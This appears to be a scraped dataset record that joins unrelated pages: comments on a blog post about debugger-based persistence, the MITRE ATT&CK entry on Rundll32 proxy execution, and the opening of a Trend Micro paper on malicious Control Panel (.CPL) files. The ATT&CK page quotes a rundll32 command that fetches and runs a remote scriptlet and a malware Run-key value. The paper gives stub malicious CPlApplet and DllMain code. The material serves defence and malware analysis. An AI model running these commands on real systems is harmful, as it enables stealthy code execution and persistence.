haven\xe2\x80\x99t seen anyone check for which also requires admin rights. The initial functionality is for process debugging and is enabled in a similar fashion. It basically allow you to run something prior the \xe2\x80\x9cdebugged\xe2\x80\x9d process starting with the purpose of debugging attachment. I remember reading about the functionality at some point in a book and wondering why nobody uses this as a persistence method. I know I tested it and it worked like a charm. I don\xe2\x80\x99t rememeber the details but I do believe it was something similar to: https://support.microsoft.com/en-us/help/824344/how-to-debug-windows-services Section: Configure a service to start with the WinDbg debugger attached method 2 Cheers! LikeLike Reply Oddvar Moe [MVP] says: 11 Apr 2018 at 2:23 pm I think you are thinking about debugger that you can set in registry. This has been known for many years and malware use it all the time. Even process explorer uses this technique if you choose to change it to the default task manager. LikeLike Reply Pingback: Week 15 \xe2\x80\x93 2018 \xe2\x80\x93 This Week In 4n6 Stratcat says: 27 Dec 2018 at 1:41 pm This has been around for a long time and any developer worth a damn knows about it. I think you\xe2\x80\x99re safe in sharing and linking to the MSDN documents that describe its usage. LikeLike Reply Leave a Reply Cancel reply Enter your comment here... Fill in your details below or click an icon to log in: Email (required) (Address never made public) Name (required) Website You are commenting using your WordPress.com account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Google account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Twitter account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Facebook account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) Cancel Connecting to %s Notify me of new comments via email. Notify me of new posts via email. This site uses Akismet to reduce spam. Learn how your comment data is processed. Facebook LinkedIn Twitter Search for: Powered by WordPress.com. Post to Cancel %d bloggers like this:","0","0","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Rundll32 - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Rundll32 Rundll32 The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1] Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:""..\\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https[:]//www[.]example[.]com/malicious.sct"")"" This behavior has been seen used by malware such as Poweliks. [2] ID:\xc2 T1085 Tactic: Defense Evasion, Execution Platform:\xc2 Windows Permissions Required:\xc2 User Data Sources:\xc2 File monitoring, Process monitoring, Process command-line parameters, Binary file metadata Defense Bypassed:\xc2 Anti-virus, Application whitelisting, Digital Certificate Validation Contributors:\xc2 Ricardo Dias; Casey Smith Version:\xc2 1.1 Mitigations Mitigation Description Exploit Protection Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. Examples Name Description ADVSTORESHELL ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence. [23] APT19 APT19 configured its payload to inject into the rundll32.exe. [34] APT28 APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe \xe2\x80\x9cC:\\Windows\\twain_64.dll\xe2\x80\x9d. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload. [35] [23] [36] [37] [38] APT29 APT29 has used rundll32.exe for execution. [42] APT3 APT3 has a tool that can run DLLs. [39] Bisonal Bisonal uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\xe2\x80\x9dvert\xe2\x80\x9d = \xe2\x80\x9crundll32.exe c:\\windows\\temp\\pvcu.dll , Qszdez\xe2\x80\x9d. [5] Briba Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs. [8] Carbanak Carbanak installs VNC server software that executes through rundll32. [41] Comnie Comnie uses Rundll32 to load a malicious DLL. [16] CopyKittens CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode. [33] CORESHELL CORESHELL is installed via execution of rundll32 with an export named ""init"" or ""InitW."" [30] CozyCar The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component. [28] DDKONG DDKONG uses Rundll32 to ensure only a single instance of itself is running at once. [4] Elise After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe. [15] Emissary Variants of Emissary have used rundll32.exe in Registry values added to establish persistence. [18] FELIXROOT FELIXROOT uses Rundll32 for executing the dropper program. [19] [20] Flame Rundll32.exe is used as a way of executing Flame at the command-line. [12] gh0st RAT A gh0st RAT variant has used rundll32 for execution. [29] GreyEnergy GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM). [20] JHUHUGIT JHUHUGIT is executed using rundll32.exe. [13] [14] Koadic Koadic can use Rundll32 to execute additional payloads. [3] Kwampirs Kwampirs uses rundll32.exe in a Registry value added to establish persistence. [27] Matroyshka Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism. [6] Mosquito Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability. [26] MuddyWater MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll. [40] NOKKI NOKKI has used rundll32 for execution. [22] NotPetya NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic. [31] PowerDuke PowerDuke uses rundll32.exe to load. [21] Prikormka Prikormka uses rundll32.exe to load its DLL. [25] Pteranodon Pteranodon executes functions using rundll32.exe. [7] PUNCHBUGGY PUNCHBUGGY can load a DLL using Rundll32. [9] RTM RTM runs its core DLL file using rundll32.exe. [24] Sakula Sakula calls cmd.exe to run various DLL files via rundll32. [10] ServHelper ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe. [32] StreamEx StreamEx uses rundll32 to call an exported function. [11] TA505 TA505 has leveraged rundll32.exe to execute malicious DLLs. [43] [32] Winnti The Winnti installer loads a DLL using rundll32. [17] Detection Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. References Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. B. Ancel. (2014, August 20). Poweliks \xe2\x80\x93 Command Line Confusion. Retrieved March 5, 2018. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018. Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018. Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017. Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016. Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\xe2\x80\x99s Radar. Retrieved February 15, 2017. sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018. F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016. Mercer, W., et al. (2017, October 22). ""Cyber Conflict"" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016. Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018. Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017. Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017. Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018. F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015. Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018. Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015. Chiu, A. (2016, June 27). New Ransomware Variant ""Nyetya"" Compromises Systems Worldwide. Retrieved March 26, 2019. Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017. Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018. Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. Lee, B., Falcone, R. (2018, June 06). Sofacy Group\xe2\x80\x99s Parallel Attacks. Retrieved June 18, 2018. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018. Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CPL Malware: Malicious Control Panel Items A Trend Micro Research Paper CPL Malware Malicious Control Panel Items Fernando Merc\xc3\xaas Forward-Looking Threat Research Team Trend Micro | CPL Malware TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an \xe2\x80\x9cas is\xe2\x80\x9d condition. Contents Introduction ....................................................................................................................................3 Attack Overview.............................................................................................................................3 .CPL File Format ...........................................................................................................................6 .CPL Launch Process ........................................................................................................6 Analyzing .CPL Files ...................................................................................................................10 Static Analysis ..................................................................................................................10 Dynamic Analysis .............................................................................................................11 How Cybercriminals Use .CPL Files ............................................................................................13 Brazil ................................................................................................................................13 Worldwide ........................................................................................................................15 Conclusion ...................................................................................................................................16 Appendix......................................................................................................................................16 OSs That Support .CPL File Execution ............................................................................16 Top 20 Words Associated with CPL Banking Trojans ......................................................17 Trend Micro | CPL Malware 1 Introduction .CPL is an executable file format that cybercriminals use to create malware these days. Nonmalicious .CPL files, of course, exist but this research paper will focus on malicious ones, which Trend Micro calls \xe2\x80\x9cCPL malware.\xe2\x80\x9d We decided to explore this topic due to the growing number of CPL malware currently being created and distributed today, especially in Brazil. These have been primarily targeting online banking customers. Attack Overview Brazil is a well-known producer and target of banking Trojans, more popularly known as \xe2\x80\x9cbankers\xe2\x80\x9d in the country. Based on partner reports, an average of 40 new malware target Brazilian banking customers per day. To evade common detection techniques, cybercriminals seem to follow these steps when launching CPL Trojan attacks: 1. Send a phishing email to potential victims. The emails use the names of popular financial organizations to induce potential victims to click a link to download a payment receipt or see their debt balances. 2. Victims download a .ZIP file by clicking a link embedded in the email. Cybercriminals use shortened links that, when clicked, downloads a compressed .CPL file onto the victims\xe2\x80\x99 computers. And because recent Windows\xc2\xae versions are distributed with native decompression programs, users can easily open the attached file. The said .ZIP file contains .CPL files with specially chosen names to better fool users into thinking they are legitimate. These names include the following Brazilian and Portuguese words (see the Appendix for a list of the top CPL Trojan-related words): \xe2\x80\xa2 Boleto/Fatura: Invoice \xe2\x80\xa2 NF-e: Acronym for \xe2\x80\x9celectronic receipt\xe2\x80\x9d short for \xe2\x80\x9cnota fiscal eletronica\xe2\x80\x9d \xe2\x80\xa2 Nota/Recibo: Printed receipt \xe2\x80\xa2 SPC: Organization responsible for protecting companies from defaulters or customers who fail to pay their debts \xe2\x80\xa2 Serasa: Organization exclusively responsible for protecting banks from defaulters Figure 1: Sample malicious .CPL file Trend Micro | CPL Malware 2 Figure 2: .CPL files found in a .ZIP file that Windows natively opens 3. Victims execute the .CPL file. Double-clicking the .CPL file can have several payloads. Most .CPL files drop new banking Trojan variants onto victims\xe2\x80\x99 computers but some also contain malicious code. Figure 3: How CPL malware work Trend Micro | CPL Malware 3 Figure 4: Phishing email accusing the recipient of being a defaulter with a link that, when clicked, downloads a TROJ_BANLOAD variant1 Even though .CPL files are quite common, security analysts and the security industry in general know very little about them.2 Even Microsoft\xe2\x80\x99s official documentation contains only a few pages on the .CPL file format. Most of the technical information in this paper was likely obtained by reverse- engineering .CPL files, Windows loaders, and the like. 1 Trend Micro Incorporated. (2014). Threat Encyclopedia. \xe2\x80\x9cTROJ_BANLOAD.\xe2\x80\x9d Last accessed January 7, 2014, http://about-threats. trendmicro.com/us/search.aspx?p=TROJ_BANLOAD. 2 Microsoft. (2014). Windows Dev Center\xe2\x80\x94Desktop. \xe2\x80\x9cImplementing Control Panel Items.\xe2\x80\x9d Last accessed January 17, 2014, http:// msdn.microsoft.com/en-us/library/windows/desktop/cc144185%28v=vs.85%29.aspx. http://about-threats.trendmicro.com/us/search.aspx?p=TROJ_BANLOAD http://about-threats.trendmicro.com/us/search.aspx?p=TROJ_BANLOAD http://msdn.microsoft.com/en-us/library/windows/desktop/cc144185%28v=vs.85%29.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/cc144185%28v=vs.85%29.aspx Trend Micro | CPL Malware 4 .CPL File Format .CPL is the file name extension for Control Panel items or the icons that appear in the Windows Control Panel.3 Each item or icon in the Windows Control Panel is used to configure a system. Windows applications host CPL applets or the miniprograms each Control Panel icon launches. Since Windows 3.x, some .CPL files were distributed with the OS although programmers can also create their own .CPL files for use with their programs. In a nutshell, a .CPL file is a dynamic link library (.DLL) file that:4 \xe2\x80\xa2 Uses .CPL as file name extension instead of .DLL \xe2\x80\xa2 Exports a function known as \xe2\x80\x9cCPlApplet\xe2\x80\x9d5 \xe2\x80\xa2 Hosts one or more CPL applets \xe2\x80\xa2 Handles the special messages the CPlApplet caller sends Double-clicking a .DLL file does not result in anything because regular .DLL files need to be loaded by a program. Double-clicking a .CPL file on Windows, however, automatically loads an application. .CPL Launch Process .CPL files can be loaded in Windows via different methods. First, a user can manually call a .CPL file using the command-line interface, the main Control Panel executable file or control.exe, by typing the following: control.exe file.cpl,@n,t In the syntax above, n refers to the applet index inside file.cpl while t refers to the tab index used in multitabbed applets. If you were to open second tab of the first applet in main.cpl, the file used to configure mouse properties on Control Panel, you can type the following in the command-line interface: control.exe main.cpl,@0,1 3 Microsoft. (2014). Microsoft Support. \xe2\x80\x9cDescription of Control Panel (.CPL) Files.\xe2\x80\x9d Last accessed January 7, 2014, http://support. microsoft.com/kb/149648. 4 Microsoft. (2014). Microsoft Support. \xe2\x80\x9cWhat Is a DLL?\xe2\x80\x9d Last accessed January 7, 2014, https://support.microsoft.com/kb/815065. 5 Microsoft. (2014). Windows | Dev Center \xe2\x80\x94 Desktop. \xe2\x80\x9cCPlApplet Entry Point.\xe2\x80\x9d Last accessed January 7, 2014, http://msdn. microsoft.com/en-us/library/windows/desktop/bb776392(v=vs.85).aspx. http://support.microsoft.com/kb/149648 http://support.microsoft.com/kb/149648 https://support.microsoft.com/kb/815065 http://msdn.microsoft.com/en-us/library/windows/desktop/bb776392(v=vs.85).aspx http://msdn.microsoft.com/en-us/library/windows/desktop/bb776392(v=vs.85).aspx Trend Micro | CPL Malware 5 The command above will open the following window: Figure 5: Applet\xe2\x80\x99s second tab opened by control.exe A user can also load a .CPL file using a VBScript such as the following: Dim obj Set obj = CreateObject(\xe2\x80\x9cShell.Application\xe2\x80\x9d) obj.ControlPanelItem(\xe2\x80\x9cjoy.cpl\xe2\x80\x9d) The shell object has a built-in ControlPanelItem method that runs the specified Control Panel (*.cpl) application. If the application is already open, it will activate the running instance instead. Trend Micro | CPL Malware 6 The loading methods discussed above are, however, manual and may not be favored by malware creators. As such, most .CPL files are automatically loaded when double- clicked. Windows has undocumented functions like \xe2\x80\x9cControl_RunDLL\xe2\x80\x9d and \xe2\x80\x9cControl_ RunDLLAsUser\xe2\x80\x9d in shell32.dll that load .CPL files onto computers. The following diagram provides more details: Figure 6: .CPL file loading process in Windows Double-clicking a .CPL file can also be simulated by issuing the following command: rundll32.exe shell32.dll,Control_RunDLL file.cpl The Control_RunDLL function has the following parameters: \xe2\x80\xa2 .CPL file name \xe2\x80\xa2 Applet index \xe2\x80\xa2 Applet tab index The structure above was created with a nonmalicious mindset because a CPL malware does not need more than one applet or multitabbed applets to work. Once the application is launched, the malware can then execute the malicious code. Before prompting the CPL applet index to launch, the CPlApplet function is called. This function has the following prototype: LONG CPlApplet( HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2 ); Trend Micro | CPL Malware 7 Note that the uMsg parameter is used to send valid messages like the following to the CPlApplet function that will subsequently handle them: \xe2\x80\xa2 CPL_INIT \xe2\x80\xa2 CPL_GETCOUNT \xe2\x80\xa2 CPL_INQUIRE \xe2\x80\xa2 CPL_SELECT \xe2\x80\xa2 CPL_DBLCLK \xe2\x80\xa2 CPL_STOP \xe2\x80\xa2 CPL_EXIT \xe2\x80\xa2 CPL_NEWINQUIRE \xe2\x80\xa2 CPL_STARTWPARMS The first message sent to CPlApplet function is CPL_INIT. Once sent, a code inside the .CPL file runs and must return a nonzero value to the callee to indicate successful initialization. All malicious code can be found inside the CPlApplet function. The application no longer needs to continue the normal launch process and wait for different messages. A nonmalicious CPlApplet function such as the following should handle every message: int CPlApplet(HWND hwndCPL, UINT message, LPARAM lParam1, LPARAM lParam2) { switch (message) { case CPL_INIT: // run code; return 1; case CPL_GETCOUNT: return 3; // 3 applets case CPL_INQUIRE: \xe2\x80\xa6 default: return 0; } return 0; } Malicious code, meanwhile, can look like the following: int CPlApplet(HWND hwndCPL, UINT message, LPARAM lParam1, LPARAM lParam2) { // run malware code or drop another malware return 1; } The code above is programatically valid. It appears to ignore all of the parameters received and runs the malicious part. A security analyst should understand all of the concepts above to properly analyze a malicious .CPL file. Trend Micro | CPL Malware 8 Malware do not need to wait for a CPlApplet call because a .CPL file is a DLL. Its DllMain function will be called first by the LoadLibrary function so the following is also possible: BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { // malicious code return 0; } Some packed CPL malware also use code in DllMain to unpack themselves. Analyzing .CPL Files Static Analysis A .CPL file is a .DLL file so the PE32/PE32+ format specification will also work. To identify a .CPL file, look at its extension even if it looks untrustworthy since it is merely part of the file name and may not reflect the real file type. Without the .CPL extension, the file will not load when double-clicked. General .PE file analyzers or editors should work well with .CPL files as long as they are not packed, encrypted, or use anti-reverse-engineering techniques. Some .CPL files\xe2\x80\x99 CPlApplet function can, for instance, not be properly exported until the file is loaded and unpacked in memory, in case of packed files. The static analysis should be similar to a regular .PE file analysis so sections with strange characteristics can be checked, file entropy can be calculated, and so forth. It is uncommon to see a packed or encrypted nonmalicious .CPL file. Figure 7: Exported functions of a nonmalicious joy.cpl file shipped with Windows 7 Trend Micro | CPL Malware 9 Dynamic Analysis Although it can be a little bit tricky, it is possible to debug rundll32.exe when calling the shell32.dll,Control_RunDLL to analyze the code inside a .CPL file. To assist in this effort, we created a CPL loader with the following options: Usage: cpload [-m MESSAGE] If -m is present, MESSAGE should be: Option Message ------------------------- init CPL_INIT getcount CPL_GETCOUNT inquire CPL_INQUIRE select CPL_SELECT dblclk CPL_DBLCLK stop CPL_STOP exit CPL_EXIT newinquire 